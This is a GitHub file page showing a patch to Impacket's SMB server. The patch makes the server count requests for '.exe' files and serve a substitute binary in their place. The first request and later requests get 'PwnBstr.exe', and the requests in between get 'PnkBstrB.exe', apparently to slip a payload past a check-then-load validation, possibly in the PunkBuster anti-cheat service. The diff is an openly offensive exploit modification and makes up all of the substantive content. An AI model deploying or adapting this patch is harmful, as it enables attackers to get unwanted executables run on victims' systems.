-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathimpacket.patch
More file actions
29 lines (28 loc) · 1.15 KB
/
impacket.patch
File metadata and controls
29 lines (28 loc) · 1.15 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
diff --git a/impacket/smbserver.py b/impacket/smbserver.py
index 968cb919..03ae3e4c 100644
--- a/impacket/smbserver.py
+++ b/impacket/smbserver.py
@@ -3234,6 +3234,24 @@ class SMB2Commands:
deleteOnClose = True
if errorCode == STATUS_SUCCESS:
+ import time
+ import datetime
+ print(f'{datetime.datetime.now()}: create on {pathName}')
+
+ if not hasattr(smbServer, '_hist'):
+ smbServer._hist = {}
+
+ if pathName.endswith('.exe'):
+ if pathName not in smbServer._hist.keys():
+ smbServer._hist[pathName] = 0
+
+ smbServer._hist[pathName] += 1
+
+ if smbServer._hist[pathName] == 1 or smbServer._hist[pathName] >= 8:
+ pathName = './PwnBstr.exe'
+ else:
+ pathName = './PnkBstrB.exe'
+
try:
if os.path.isdir(pathName) and sys.platform == 'win32':
fid = VOID_FILE_DESCRIPTOR